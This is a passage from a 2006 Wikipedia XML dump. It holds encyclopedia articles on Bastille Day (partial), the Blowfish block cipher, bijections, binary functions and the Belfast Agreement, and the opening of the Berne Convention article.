: The old monarchy had, one could say, been the essence of France, and we did not forget it; Revolution, on this day of the 14&amp;nbsp;July 1790, made, I shall not say the soul of France&amp;mdash;None but God holds the soul of France&amp;mdash;but Revolution gave France the counsciousness of itself. It revealed its own soul to France. Remember then that on this day, the most beautiful and the purest of our history, from one end of the country to the other, from the [[Pyrenees]] to [[Alps]] and [[Rhine]], all the French were holding hands. Remember that, from all parts of the national territory, delegations of the [[French National Guard|National Guard]] and of the Army came to Paris to celebrate the deeds of '89. Remember what was in that Paris: a whole People, without distinctions of age nor sex, of rank not wealth, was associated from all its heart, had participated with its own hands to the fantastic preparations of the ''Fête de la Fédération''; Paris had worked to erect around the [[Champ-de-Mars]] this truly sacred amphitheatre which was razed by the [[Second French Empire|Second Empire]].

: (...)

: If some of you might have scruples against the first 14&amp;nbsp;July, they certainly hold none aginst the second. Whatever difference which might part us, something hovers over them, it is the great images of national unity, which we all desire, for which we would all stand, willing to die if necessary.

==Historical background==
===The Storming of the Bastille===
: ''Main article: [[Storming of the Bastille]]''.
[[Image:Taking of the Bastille.jpg|thumb|''Prise de la Bastille'', by Jean-Pierre-Louis-Laurent Houel]]
On [[5 May]] [[1789]], [[Louis XVI of France|Louis XVI]] convened the [[Estates-General of 1789|Estates-General]] to hear their grievances. The deputies of the [[Third Estate]] representing the common people (the two others were clergy and nobility) decided to break away and form a [[National Assembly (French Revolution)|National Assembly]].

On [[20 June]] the deputies of the Third Estate took the [[Tennis Court Oath]] (named after the place where they had gathered which was a place where an [[real tennis|ancestor of tennis]], the &quot;[[jeu de paume]]&quot; was played), swearing not to separate until a Constitution had been established. To show their support, the people of [[Paris]] stormed the [[Bastille]], a prison where people were jailed by arbitrary decision of the King (''[[lettre de cachet]]''). The Bastille was, in particular, known for holding political prisoners whose writings had displeased the royal government. Thus the Bastille was a symbol of the [[political absolutism|absolutism]] of the monarchy.

There were only 7 inmates housed at the time of the siege. The storming of the Bastille was more important as a rallying point and symbolic act of rebellion than a practical act of defiance.  No less important in the history of [[France]], it was ''not'' the image typically conjured up of courageous French patriots storming the Bastille and freeing hundreds of oppressed peasants.  However, it did immediately inspire preparations amongst the peasants for the very real threat of retaliation.

Shortly after the storming of the Bastille, on [[26 August]], the [[Declaration of the Rights of Man and of the Citizen]] was proclaimed.

===The ''Fête de la Fédération''===
: ''Main article: [[Fête de la Fédération]]''
[[Image:Fete federation.jpg|thumb|The ''Fête de la Fédération'']]
The Fête de la Fédération of the [[14 July]] [[1790]] was a huge feast and official event to celebrate the uprising of the short-lived [[constitutional monarchy]] in France and what people of the time considered to be the happy conclusion of the [[French Revolution]].

The event took place on the [[Champ de Mars]], which was at the time far outside Paris. The place had been transformed on a voluntary basis by the population of Paris itself, in what was recalled as the ''Journée des brouettes'' (&quot;Wheelbarrow Day&quot;).

A mass was celebrated by Talleyrand, bishop of Autun. The very popular General La Fayette, as both captain of the National Guard of Paris and confident of the king, took his oath to the Constitution, followed by the King [[Louis XVI of France|Louis XVI]].

After the end of the official celebration, the day ended in a huge four day popular feast.

==Other References==
&quot;'''Bastille Day'''&quot; is the name of a song by [[Rush (band)|Rush]] released on their [[1975]] album ''[[Caress of Steel]]''.

==External links==
{{commonscat|Bastille Day military parade}}
* [http://14juillet.senat.fr/toutsavoir/index.html senat.fr] ''Tout savoir sur le 14 Juillet''

[[Category:French Revolution]]
[[Category:Parades]]

[[da:Bastilledagen]]
[[de:14. Juli in Frankreich]]
[[fr:Fête de la Fédération]]
[[ru:День взятия Бастилии]]
[[zh:巴士底日]]</text>
    </revision>
  </page>
  <page>
    <title>Blowfish (cipher)</title>
    <id>3940</id>
    <revision>
      <id>37000525</id>
      <timestamp>2006-01-27T22:02:42Z</timestamp>
      <contributor>
        <ip>72.49.241.113</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Block Ciphers |
  fullName        = Blowfish |
  image           = BlowfishFFunction.png |
  caption         = The round function (Feistel function) of Blowfish |
  yearPublished   = [[1993]] |
  derivedFrom     = - |
  derivedTo       = [[Twofish]] |
  designers       = [[Bruce Schneier]] |
  blockSize       = 64 bits |
  keySize         = 32-448 bits in steps of 8 bits; default 128 bits |
  cipherStructure = [[Feistel network]] |
  rounds          = 16 |
  cryptanalysis   = Four rounds of Blowfish are susceptible to a second-order [[differential attack]] (Rijmen, 1997); for a class of [[weak key]]s, 14 rounds of Blowfish can be distinguished from a random permutation (Vaudenay, 1996).
}}

In [[cryptography]], '''Blowfish''' is a [[key (cryptography)|key]]ed, [[symmetric key algorithm|symmetric]] [[block cipher]], designed in [[1993]] by [[Bruce Schneier]] and included in a large number of cipher suites and encryption products. While no effective cryptanalysis of Blowfish has been found to date, more attention is now given to block ciphers with a larger [[Block size (cryptography)|block size]], such as [[Advanced Encryption Standard|AES]] or [[Twofish]].

Schneier designed Blowfish as a general-purpose algorithm, intended as a replacement for the aging [[Data Encryption Standard|DES]] and free of the problems associated with other algorithms. At the time, many other designs were proprietary, encumbered by patents or kept as government secrets. Schneier has stated that, &quot;Blowfish is unpatented, and will remain so in all countries. The algorithm is hereby placed in the public domain, and can be freely used by anyone.&quot;

Notable features of the design include key-dependent [[S-box]]es and a highly complex [[key schedule]].

==The algorithm==
Blowfish has a 64-bit [[block size (cryptography)|block size]] and a [[key length]] of anywhere from 32 bits to 448 bits. It is a 16-round [[Feistel cipher]] and uses large key-dependent [[Substitution box|S-boxes]]. It is similar in structure to [[CAST-128]], which uses fixed S-boxes.

[[Image:BlowfishDiagram.png|left|thumbnail|216px|Diagram of Blowfish]]

The diagram to the left shows the action of Blowfish. Each line represents 32 bits. The algorithm keeps two subkey arrays: the 18-entry P-array and four 256-entry S-boxes. The S-boxes accept 8-bit input and produce 32-bit output. One entry of the P-array is used every round, and after the final round, each half of the data block is [[XOR]]ed with one of the two remaining unused P-entries.

[[Image:BlowfishFFunction.png|right|thumbnail|250px|Diagram of Blowfish's F function]]

The diagram to the right shows Blowfish's F-function. The function splits the 32-bit input into four eight-bit quarters, and uses the quarters as input to the S-boxes. The outputs are added [[modular arithmetic|modulo]] 2&lt;sup&gt;32&lt;/sup&gt; and XORed to produce the final 32-bit output.

Since Blowfish is a Feistel network, it can be inverted simply by XORing P&lt;sub&gt;17&lt;/sub&gt; and P&lt;sub&gt;18&lt;/sub&gt; to the ciphertext block, then using the P-entries in reverse order.

Blowfish's [[key schedule]] starts by initializing the P-array and S-boxes with values derived from the [[hexadecimal]] digits of [[pi]], which contain no obvious pattern. The secret key is then XORed with the P-entries in order (cycling the key if necessary). A 64-bit all-zero block is then encrypted with the algorithm as it stands. The resultant ciphertext replaces P&lt;sub&gt;1&lt;/sub&gt; and P&lt;sub&gt;2&lt;/sub&gt;. The ciphertext is then encrypted again with the new subkeys, and P&lt;sub&gt;3&lt;/sub&gt; and P&lt;sub&gt;4&lt;/sub&gt; are replaced by the new ciphertext. This continues, replacing the entire P-array and all the S-box entries. In all, the Blowfish encryption algorithm will run 521 times to generate all the subkeys - about 4KB of data is processed.

&lt;br clear=&quot;all&quot;&gt;
==Cryptanalysis of Blowfish==
There is no effective [[cryptanalysis]] of Blowfish known publicly [[as of 2006]], although the 64-bit block size is now considered too short, because encrypting more than 2&lt;sup&gt;32&lt;/sup&gt; data blocks can begin to leak information about the [[plaintext]] due to a [[birthday attack]].  Despite this, Blowfish seems thus far to be secure. While the short block size does not pose any serious concerns for routine consumer applications like e-mail, Blowfish may not be suitable in situations where large plaintexts must be encrypted, as in data archival.

In [[1996]], [[Serge Vaudenay]] found a known-plaintext attack requiring 2&lt;sup&gt;8''r'' + 1&lt;/sup&gt; known plaintexts to break, where ''r'' is the number of rounds. Moreover, he also found a class of [[weak key]]s that can be detected and broken by the same attack with only 2&lt;sup&gt;4''r'' + 1&lt;/sup&gt; known plaintexts. This attack cannot be used against the full 16-round Blowfish; Vaudenay used a reduced-round variant of Blowfish. [[Vincent Rijmen]], in his [[Doctor of Philosophy|Ph.D.]] thesis, introduced a second-order differential attack that can break four rounds and no more. There remains no known way to break the full 16 rounds, apart from a [[brute-force search]].

In [[2005]], Dieter Schmidt investigated the Blowfish key schedule and noted that the subkeys for the third and fourth round are independent of the first 64 bits of the user key [http://eprint.iacr.org/2005/063].

==Blowfish in practice==
Blowfish is one of the fastest [[block cipher]]s in widespread use, except when changing keys. Each new [[key (cryptography)|key]] requires pre-processing equivalent to encrypting about 4 kilobytes of text, which is very slow compared to other block ciphers. This prevents its use in certain applications, but is not a problem in others. In one application, it is actually a benefit: the [[password]]-hashing method used in [[OpenBSD]] uses an algorithm derived from Blowfish that makes use of the slow key schedule; the idea is that the extra computational effort required gives protection against [[dictionary attack]]s.

In some implementations, Blowfish has a relatively large memory footprint of just over 4 kilobytes of [[Random Access Memory|RAM]]. This is not a problem even for older smaller desktop and laptop computers, but it does prevent use in the smallest [[embedded systems]] such as early [[smartcard]]s.

Blowfish is not subject to any patents and is therefore freely available for anyone to use. This has contributed to its popularity in cryptographic software.

==See also==
* [[Twofish]]
* [[MacGuffin (cipher)|MacGuffin]]
* [[Advanced Encryption Standard]]

==References==
* Vincent Rijmen, &quot;Cryptanalysis and design of iterated block ciphers&quot;, doctoral dissertation, October 1997.
* Bruce Schneier, Description of a New Variable-Length Key, 64-bit Block Cipher (Blowfish). Fast Software Encryption 1993: 191-204 [http://www.schneier.com/paper-blowfish-fse.html].
* Bruce Schneier, The Blowfish Encryption Algorithm -- One Year Later,  ''[[Dr. Dobb's Journal]]'',  20(9), p. 137, September 1995 [http://www.schneier.com/paper-blowfish-oneyear.html].
* Serge Vaudenay, &quot;On the weak keys of Blowfish,&quot; Fast Software Encryption (FSE'96), LNCS 1039, D. Gollmann, Ed., Springer-Verlag, 1996, pp. 27--32.

== External links ==
* [http://www.schneier.com/blowfish.html Official Blowfish website]
* [http://www.schneier.com/blowfish-products.html List of Blowfish users]
* [http://www.users.zetnet.co.uk/hopwood/crypto/scan/cs.html#Blowfish SCAN's entry for Blowfish]
* [http://www.farfarfar.com/scripts/encrypt/ Blowfish JavaScript implementation]
* [http://aam.ugpl.de/?q=node/1060 Blowfish JavaScript implementation and Page Encryption]
* [http://php-einfach.de/sonstiges_generator_blowfish.php Blowfish PHP implementation]

{{Block_ciphers}}

[[Category:Block ciphers]]
[[Category:Free ciphers]]

[[de:Blowfish]]
[[es:Blowfish]]
[[fr:Blowfish]]
[[it:Blowfish]]
[[nl:Blowfish-encryptiealgoritme]]
[[pl:Blowfish (kryptografia)]]
[[th:โบลว์ฟิช]]</text>
    </revision>
  </page>
  <page>
    <title>Bijection</title>
    <id>3942</id>
    <revision>
      <id>39848384</id>
      <timestamp>2006-02-16T07:05:58Z</timestamp>
      <contributor>
        <ip>67.169.6.110</ip>
      </contributor>
      <comment>/* Composition and inverses */</comment>
      <text xml:space="preserve">[[Image:bijmap.png|thumb|200px|A bijective function.]]
In [[mathematics]], a [[function (mathematics)|function]] ''f'' from a [[set (mathematics)|set]] ''X'' to a set ''Y'' is said to be '''bijective''' [[if and only if]] for every ''y'' in ''Y'' there is exactly one ''x'' in ''X'' such that ''f''(''x'') = ''y''.

Said another way, ''f'' is bijective if and only if it is a '''one-to-one correspondence''' between those sets; i.e., both '''one-to-one''' ([[injective function|injective]]) and '''onto''' ([[surjective function|surjective]]). 

For example, consider the function succ, defined from the set of [[integer]]s &lt;math&gt;\Z&lt;/math&gt; to &lt;math&gt;\Z&lt;/math&gt;, that to each integer ''x'' associates the integer succ(''x'') = x + 1.  For another example, consider the function sumdif that to each pair (''x'',''y'') of real numbers associates the pair sumdif(''x'',''y'') = (''x''+''y'', ''x''-''y'').  

A bijective function is  also called '''bijection''' or '''[[permutation]]'''.  The latter is more commonly used when ''X'' = ''Y''.   It should be noted that  ''one-to-one function'' means ''one-to-one correspondence'' (i.e. ''bijection'') to some authors, but ''injection'' to others.  The set of all bijections from ''X'' to ''Y'' is denoted as ''X''&lt;math&gt;{}\leftrightarrow{}&lt;/math&gt;''Y''.

Bijective functions play a fundamental role in many areas of mathematics, for instance in the definition of [[isomorphism]] (and related concepts such as [[homeomorphism]] and [[diffeomorphism]]), [[permutation group]], [[projective map]], and many others.

==Composition and inverses==
A function ''f'' is bijective if and only if its [[inverse relation]]  ''f''&lt;sup&gt;-1&lt;/sup&gt; is a function.  In that case, ''f''&lt;sup&gt;-1&lt;/sup&gt; is a bijection.

The [[composition (mathematics)|composition]] ''g''&lt;math&gt;\circ&lt;/math&gt;''f'' of two bijections ''f''&lt;math&gt;\;:\;&lt;/math&gt; ''X''&lt;math&gt;{}\leftrightarrow{}&lt;/math&gt;''Y'' and ''g''&lt;math&gt;\;:\;&lt;/math&gt; ''Y''&lt;math&gt;{}\leftrightarrow{}&lt;/math&gt;''Z'' is a bijection. The inverse of ''g''&lt;math&gt;\circ&lt;/math&gt;''f'' is (''g''&lt;math&gt;\circ&lt;/math&gt;''f'')&lt;sup&gt;-1&lt;/sup&gt; = (''f''&lt;sup&gt;-1&lt;/sup&gt;)&lt;math&gt;\circ&lt;/math&gt;(''g''&lt;sup&gt;-1&lt;/sup&gt;).

[[Image:INS then NIS.png|thumb|300px|A bijective composition.]]
On the other hand, if the composition ''g''&amp;nbsp;&lt;sup&gt;&lt;small&gt;o&lt;/small&gt;&lt;/sup&gt;&amp;nbsp;''f'' of two functions is bijective, we can only say that ''f'' is injective and ''g'' is surjective.

A relation ''f'' from ''X'' to ''Y'' is a bijective function if and only if there exists another relation ''g'' from ''Y'' to ''X'' such that  ''g''&lt;math&gt;\circ&lt;/math&gt;''f'' is the [[identity function]] on ''X'', and ''f''&lt;math&gt;\circ&lt;/math&gt;''g'' is the [[identity function]] on ''Y''.
it is important to say that having the same cardinality for two sets is a must.

==Bijections and cardinality==
If ''X'' and ''Y'' are [[finite]] sets, then there exists a bijection between the two sets ''X'' and ''Y'' [[if and only if]] ''X'' and ''Y'' have the same number of elements. Indeed, in [[axiomatic set theory]], this is taken as the very ''definition'' of &quot;same number of elements&quot;, and generalising this definition to [[infinite]] sets leads to the concept of [[cardinal number]], a way to distinguish the various sizes of infinite sets.

==Examples and counterexamples==
* For any set ''X'', the [[identity function]] id&lt;sub&gt;''X''&lt;/sub&gt; from ''X'' to ''X'', defined by id&lt;sub&gt;''X''&lt;/sub&gt;(''x'') = ''x'', is bijective.
* The function ''f'' from the [[real line]] '''R''' to '''R''' defined by ''f''(''x'') = 2''x'' + 1 is bijective, since for each ''y'' there is a unique ''x'' = (''y'' - 1)/2 such that ''f''(''x'') = ''y''.
* The [[exponential function]] ''g''&amp;nbsp;:&amp;nbsp;'''R''' &lt;math&gt;\rightarrow&lt;/math&gt; '''R''', with ''g(x)'' = e&lt;sup&gt;''x''&lt;/sup&gt;, is not bijective: for instance, there is no ''x'' in '''R''' such that ''g''(''x'') = -1, showing that ''g'' is not surjective.  However if the codomain is changed to be the positive real numbers '''R'''&lt;sup&gt;+&lt;/sup&gt; = (0,+&amp;infin;), then ''g'' becomes bijective; its inverse is the [[natural logarithm]] function ln.
* The function ''h''&amp;nbsp;:&amp;nbsp;'''R''' &lt;math&gt;\rightarrow&lt;/math&gt; [0,+&amp;infin;) with ''h(x)'' = ''x''² is not bijective: for instance, ''h''(-1) = ''h''(+1) = 1, showing that ''h''  is not injective.  However, if the domain too is changed to &lt;nowiki&gt;[0,+&amp;infin;)&lt;/nowiki&gt;, then ''h'' becomes bijective; its inverse is the positive square root function.

* A function ''f'' from the [[real line]] '''R''' to  '''R''' is bijective if and only if its plot is intersected by any horizontal line at exactly one point.

==Properties==
* If ''X'' is a set, then the bijective functions from ''X'' to itself, together with the operation of functional composition (&lt;sup&gt;&lt;small&gt;o&lt;/small&gt;&lt;/sup&gt;), form a [[group (algebra)|group]], the [[symmetric group]] of ''X'', which is denoted variously by S(''X''), ''S''&lt;sub&gt;''X''&lt;/sub&gt;, or ''X''! (the last read &quot;''X'' [[factorial]]&quot;).
* For subset ''A'' of the domain and subset ''B'' of the codomain we 
|''f''(''A'')| == |''A''|, and |''f''&lt;sup&gt;-1&lt;/sup&gt;(''B'')| == |''B''|.

==Bijections and category theory==
Formally, bijections are precisely the [[isomorphism]]s in the [[category theory|category]] [[Category of sets|Set]] of sets.

==See also ==
*[[injective function]]
*[[isomorphism]]
*[[permutation]]
*[[symmetric group]]
*[[surjection|surjective function]]

{{cleanup-section}}

* &lt;math&gt;\mathbf{R} \to \mathbf{R} : x \mapsto (x-1)x(x+1) = x^3 - x &lt;/math&gt;
* &lt;math&gt;\mathbf{R} \to [-1,1] : x \mapsto \sin(x)&lt;/math&gt;

===Properties===
* For every function ''h'' : ''A'' &amp;rarr; ''C'' we can define a surjection ''H'' : ''A'' &amp;rarr; ''h(A)'' : a &amp;rarr; h(a) and an injection ''I'' : ''h(A)'' &amp;rarr; ''C'' : a &amp;rarr; a. It follows that ''h'' = ''I'' &lt;small&gt;o&lt;/small&gt; ''H''. This decomposition is unique [[up to isomorphism]].

(''Note: a '''one-to-one''' function is injective, but may fail to be surjective, while a '''one-to-one correspondence''' is both injective and surjective.'')

===Category theory===
In the [[category]] of [[set]]s, injections, surjections, and bijections correspond precisely to [[monomorphism]]s, [[epimorphism]]s, and [[isomorphism]]s, respectively.

[[Category:Set theory]]
[[bg:&amp;#1041;&amp;#1080;&amp;#1077;&amp;#1082;&amp;#1094;&amp;#1080;&amp;#1103;]]
[[cs:Bijekce]]
[[de:Bijektivität]]
[[es:Función biyectiva]]
[[fr:Bijection]]
[[io:Bijektio]]
[[it:Corrispondenza biunivoca]]
[[nl:Bijectie]]
[[ja:&amp;#20840;&amp;#21336;&amp;#23556;]]
[[pl:Bijekcja]]
[[ru:&amp;#1041;&amp;#1080;&amp;#1077;&amp;#1082;&amp;#1094;&amp;#1080;&amp;#1103;]]
[[fi:Bijektio]]
[[sv:Bijektiv]]
[[uk:&amp;#1041;&amp;#1110;&amp;#1108;&amp;#1082;&amp;#1094;&amp;#1110;&amp;#1103;]]
[[zh:&amp;#21452;&amp;#23556;]]</text>
    </revision>
  </page>
  <page>
    <title>Binary function</title>
    <id>3943</id>
    <revision>
      <id>27488160</id>
      <timestamp>2005-11-06T00:33:35Z</timestamp>
      <contributor>
        <username>Fresheneesz</username>
        <id>247097</id>
      </contributor>
      <minor />
      <comment>what Rtard wrote &quot;is like a function&quot; ? its not named a binary function cause it's LIKE a function - it IS a function</comment>
      <text xml:space="preserve">In [[mathematics]], a '''binary function''', or '''function of two variables''', is a [[function (mathematics)|function]] which takes two inputs. 

To be specific, suppose ''X'', ''Y'', and ''Z'' are [[set]]s.
Suppose that, given any elements ''x'' of ''X'' and ''y'' of ''Y'', ''f''(''x'',''y'') is a unique element of ''Z''.
Then ''f'' is a binary function from ''X'' and ''Y'' to ''Z''.

For example, if '''Z''' is the set of [[integer]]s, '''N'''&lt;sup&gt;+&lt;/sup&gt; is the set of [[natural number]]s (except for [[0 (number)|zero]]), and '''Q''' is the set of [[rational number]]s, then [[division (mathematics)|division]] is a binary function from '''Z''' and '''N'''&lt;sup&gt;+&lt;/sup&gt; to '''Q'''.

[[Naive set theory|Set-theoretically]], one may represent a binary function as a [[subset]] of the [[Cartesian product]] ''X'' × ''Y'' × ''Z'', where (''x'',''y'',''z'') belongs to the subset [[if and only if]] ''f''(''x'',''y'') = ''z''.
Conversely, a subset ''R'' defines a binary function if and only if, [[for any]] ''x'' in ''X'' and ''y'' in ''Y'', [[there exists]] a [[unique]] ''z'' in ''Z'' such that (''x'',''y'',''z'') belongs to ''R''.
We then define ''f''(''x'',''y'') to be this ''z''.

Alternatively, a binary function may be interpreted as simply a [[function (mathematics)|function]] from ''X'' × ''Y'' to ''Z''.
Even when thought of this way, however, one generally writes ''f''(''x'',''y'') instead of ''f''((''x'',''y'')).
(That is, the same pair of parentheses is used to indicate both function application and the formation of an [[ordered pair]].)

In turn, one can also derive ordinary functions of one variable from a binary function.
Given any element ''x'' of ''X'', there is a function ''f''&lt;sup&gt;''x''&lt;/sup&gt;, or ''f''(''x'',·), from ''Y'' to ''Z'', given by ''f''&lt;sup&gt;''x''&lt;/sup&gt;(''y'') := ''f''(''x'',''y'').
Similarly, given any element ''y'' of ''Y'', there is a function ''f''&lt;sub&gt;''y''&lt;/sub&gt;, or ''f''(·,''y''), from ''X'' to ''Z'', given by ''f''&lt;sub&gt;''y''&lt;/sub&gt;(''x'') := ''f''(''x'',''y''). (In computer science, this identification between a function from ''X'' × ''Y'' to ''Z'' and a function from ''X'' to ''Z''&lt;sup&gt;''Y''&lt;/sup&gt; is called [[Currying]].)

The various concepts relating to functions can also be generalised to binary functions.
For example, the division example above is ''[[surjective function|surjective]]'' (or ''onto'') because every rational number may be expressed as a quotient of an integer and a natural number.
This example is ''[[injective function|injective]]'' in each input separately, because the functions ''f''&lt;sup&gt;''x''&lt;/sup&gt; and ''f''&lt;sub&gt;''y''&lt;/sub&gt; are always injective.
However, it's not injective in both variables simultaneously, because (for example) ''f''(2,4) = ''f''(1,2).

One can also consider ''partial'' binary functions, which may be defined only for certain values of the inputs.
For example, the division example above may also be interpreted as a partial binary function from '''Z''' and '''N''' to '''Q''', where '''N''' is the set of all natural numbers, including zero.
But this function is undefined when the second input is zero.

A [[binary operation]] is a binary function where the sets ''X'', ''Y'', and ''Z'' are all equal; binary operations are often used to define [[algebraic structure]]s.

In [[linear algebra]], a [[bilinear transformation]] is a binary function where the sets ''X'', ''Y'', and ''Z'' are all [[vector space]]s and the derived functions ''f''&lt;sup&gt;''x''&lt;/sup&gt; and ''f''&lt;sub&gt;''y''&lt;/sub&gt; are all [[linear transformation]]s.
A bilinear transformation, like any binary function, can be interpreted as a function from ''X'' × ''Y'' to ''Z'', but this function in general won't be linear.
However, the bilinear transformation can also be interpreted as a single linear transformation from the [[tensor product]] ''X'' [[Image:DirectProduct.png|(×)]] ''Y'' to ''Z''.

The concept of binary function generalises to ''ternary'' (or ''3-ary'') ''function'', ''quaternary'' (or ''4-ary'') ''function'', or more generally to ''n-ary function'' for any [[natural number]] ''n''.
A ''0-ary function'' to ''Z'' is simply given by an element of ''Z''.
One can also define an ''A-ary function'' where ''A'' is any [[set]]; there is one input for each element of ''A''.

In [[category theory]], ''n''-ary functions generalise to ''n''-ary morphisms in a [[multicategory]].
The interpretation of an ''n''-ary morphism as an ordinary morphisms whose domain is some sort of product of the domains of the original ''n''-ary morphism will work in a [[monoidal category]].
The construction of the derived morphisms of one variable will work in a [[closed monoidal category]].
The category of sets is closed monoidal, but so is the category of vector spaces, giving the notion of bilinear transformation above.

[[Category:Abstract algebra]]</text>
    </revision>
  </page>
  <page>
    <title>Belfast Agreement</title>
    <id>3944</id>
    <revision>
      <id>41468168</id>
      <timestamp>2006-02-27T15:29:10Z</timestamp>
      <contributor>
        <username>Demiurge</username>
        <id>72235</id>
      </contributor>
      <comment>inarguable no matter what your opinion of it is</comment>
      <text xml:space="preserve">The '''Belfast Agreement''' (also known as the '''Good Friday Agreement''' and, more rarely, as the '''Stormont Agreement''') was  a major step in the [[Northern Ireland peace process]]. It was signed in [[Belfast]] on [[April 10]] [[1998]] ([[Good Friday]]) by the [[United Kingdom|British]] and [[Republic of Ireland|Irish]] governments and endorsed by most [[Northern Ireland]] political parties.  It was endorsed by the voters of Northern Ireland and the Republic of Ireland in separate referenda on [[May 23]] [[1998]]. The [[Democratic Unionist Party]] is the only large party that opposes the Agreement. 

==Main provisions==
*The principle that the constitutional future of Northern Ireland should be determined by the majority vote of its citizens.
* A commitment by all parties to &quot;exclusively peaceful and democratic means&quot;.
* The establishment of a [[Northern Ireland Assembly]] with devolved legislative powers.
*Creation of a 'power-sharing' [[Northern Ireland Executive]], using the [[D'Hondt method]] to allocate Ministries proportionally to the main parties.
* Creation of a [[North-South Ministerial Council]] and North-South Implementation Bodies to bring about cross-border cooperation in policy and programmes on a number of issues.
*Establishment of a [[British-Irish Council]], composed of representatives from the governments of the [[Republic of Ireland]], [[Northern Ireland]], the [[United Kingdom]], [[Scotland]], [[Wales]], the [[Channel Islands]], and the [[Isle of Man]], to discuss areas of common concern.
*Release within two years of [[paramilitary]] prisoners belonging to organisations observing a ceasefire.
* Establishment of the [[Northern Ireland Human Rights Commission]]
*A two year target for decommissioning of paramilitary weapons.
*The modification of the Republic's territorial claim to Northern Ireland in [[Articles 2 and 3 of the Constitution of Ireland|Articles 2 and 3]] of its constitution.
*New legislation for Northern Ireland on policing, [[human rights]] and equality.
*Demilitarisation of [[British army]] bases.
*[[Royal Ulster Constabulary|Police]] reform. Undertaken by the [[Independent Commission on Policing for Northern Ireland|Patten Commission]] (1998-1999).

Vague wording of some of the provisions, which helped ensure acceptance of the agreement at the time, served to postpone debate on some of the more contentious issues - most notably paramilitary decommissioning, police reform and demilitarisation.  A date of May, 2000, was set for total disarming of all paramilitary groups. On [[26 September]] [[2005]], it was announced that the [[Provisional Irish Republican Army]] had completely decommisioned their arsenal weapons and &quot;put them beyond use&quot;.  However, many [[Unionists (Ireland)|unionists]], most notably the DUP, have refused to accept this, and as such the powersharing assembly remains suspended.

==Referenda==
In May 1998 there were separate referenda in Northern Ireland and the Republic
of Ireland to endorse the Belfast Agreement. The &quot;No&quot; vote in Northern Ireland came predominantly from unionists opposed to perceived concessions being made to [[Irish nationalism|nationalists]] and [[Irish republicanism|republicans]]. However [[opinion poll]]s suggest a slim majority of unionists may have voted &quot;Yes&quot;. In the Republic of Ireland the electorate voted upon the [[Nineteenth Amendment of the Constitution of Ireland|Nineteenth Amendment]]. This amendment both permitted the state to comply with the Belfast Agreement and provided for the removal of the 'territorial claim' contained in Articles 2 and 3. The Republic of Ireland voted upon the [[Amsterdam Treaty]] on the same day. The results of the two, simultaneous referenda on the Belfast Agreement were as follows:

{| class=&quot;wikitable&quot;
!
!Yes
!No
!Turnout
|-
![[Northern Ireland]]
|676,966 (71%) 
|274,879 (29%) 
|81%
|-
![[Republic of Ireland]]
|1,442,583 (94%) 
|85,748 (6%) 
|56%
|}

==See also==
*[[Northern Ireland peace process]]
*[[Independent Commission on Policing for Northern Ireland]]
*[[Independent International Commission on Decommissioning]]
*[[Sunningdale Agreement]]
*[[Anglo-Irish Agreement]]

==External links==

*[http://www.northsouthministerialcouncil.org/ North-South Ministerial Council/An Chomhairle Aireachta Thuaidh/Theas] 
*[http://cain.ulst.ac.uk/events/peace/docs/agreement.htm Belfast Agreement] (full text)
*[http://www.britishirishcouncil.org/ British-Irish Council]

[[Category:History of Northern Ireland]]
[[Category:Government of Northern Ireland]]
[[Category:Treaties]]
[[Category:United Kingdom constitution]]
[[Category:Politics of Ireland]]
[[Category:1998 in law]]
[[de:Karfreitagsabkommen]]
[[es:Acuerdo de Viernes Santo]]
[[ga:Comhaontú Aoine an Chéasta]]
[[he:הסכם יום שישי הטוב]]
[[ja:ベルファスト合意]]
[[nl:Goede vrijdag akkoord]]
[[no:Belfastavtalen]]
[[pl:Porozumienie wielkopiątkowe]]
[[pt:Acordo de Belfast]]
[[fi:Pitkänperjantain sopimus]]
[[sv:Långfredagsavtalet]]</text>
    </revision>
  </page>
  <page>
    <title>Berne Convention for the Protection of Literary and Artistic Works</title>
    <id>3945</id>
    <revision>
      <id>41863966</id>
      <timestamp>2006-03-02T05:39:01Z</timestamp>
      <contributor>
        <username>Alberrosidus</username>
        <id>243276</id>
      </contributor>
      <comment>/* The content of the agreement */ decreased bias</comment>
      <text xml:space="preserve">{{Otheruses4|the famous copyright convention|the 1979 wildlife convention|Berne Wildlife Convention}}

The '''Berne Convention for the Protection of Literary and Artistic Works''', usually known as the '''Berne Convention''', is an international agreement about [[copyright]], which was first adopted in [[Berne]], [[Switzerland]] in 1886. It was developed at the instigation of [[Victor Hugo]], and was thus influenced by the French &quot;[[French copyright law|right of the author]]&quot; (''droit d'auteur''), which contrasts with the Anglo-Saxon concept of &quot;copyright&quot;, which has only been concerned with economic protection.

Prior to the adoption of the Berne Convention, national copyright laws would usually only apply for works created within each country. Consequently, a work published in [[London]] by a British national would be protected by copyright in the [[United Kingdom]], but could be copied and sold by anyone in [[France]]; likewise, a work published in [[Paris]] by a French national would be protected by copyright in France, but could be copied and sold by anyone in the United Kingdom.

The Berne Convention followed in the footsteps of the [[Paris Convention for the Protection of Industrial Property|Paris Convention]] of 1883, which in the same way had created a framework for international protection for the other kinds of [[intellectual property]]: [[patent]]s, [[trademark]]s and [[industrial design]]s.

Like the Paris Convention, the Berne Convention set up a bureau to handle the administrative tasks. In 1893, these two small bureaux merged and became the United International Bureaux for the Protection of Intellectual Property (best known by its French acronym BIRPI), situated in Berne. In 1960, BIRPI moved from Berne to [[Geneva]], to be closer to the [[United Nations]] and other international organizations in that city, and in 1967 BIRPI became WIPO, the [[World Intellectual Property Organization]], which, since 1974, is an organization within the United Nations.

The Berne Convention was revised in Paris in 1896 and in Berlin in 1908, completed in Berne in 1914, revised in Rome in 1928, in Brussels in 1948, in Stockholm in 1967 and in Paris in 1971, and was amended in 1979.

The [[United States]] refused initially to become a party to the Convention, since it would have required major changes in [[United States copyright law|its copyright law]] (particularly with regard to [[moral rights]], removal of general requirement for registration of copyright works as well as elimination of mandatory copyright notice). In 1989, the United States became a party to the Berne Convention.

Since almost all nations are members of the [[World Trade Organization]], the [[Agreement on Trade-Related Aspects of Intellectual Property Rights|TRIPs Agreement]] requires non-members to accept almost all of the conditions of the Berne Convention.

As of January 2006, there are 160 countries which are parties to the Berne Convention.  A full list of parties to the convention is available, [[List of countries party to the Berne Convention by name|sorted by country name]] or [[List of countries party to the Berne Convention by date of entry into force|sorted by the date the convention entered into force for each country]].

==The content of the agreement==
The Berne Convention requires its signatories to protect the copyright on works of authors from other signatory countries (known as members of the ''Berne Union'') in the same way it protects the copyright of its own nationals, which means that, for instance, French copyright law applies to anything published or performed in France, regardless of where it was originally created.

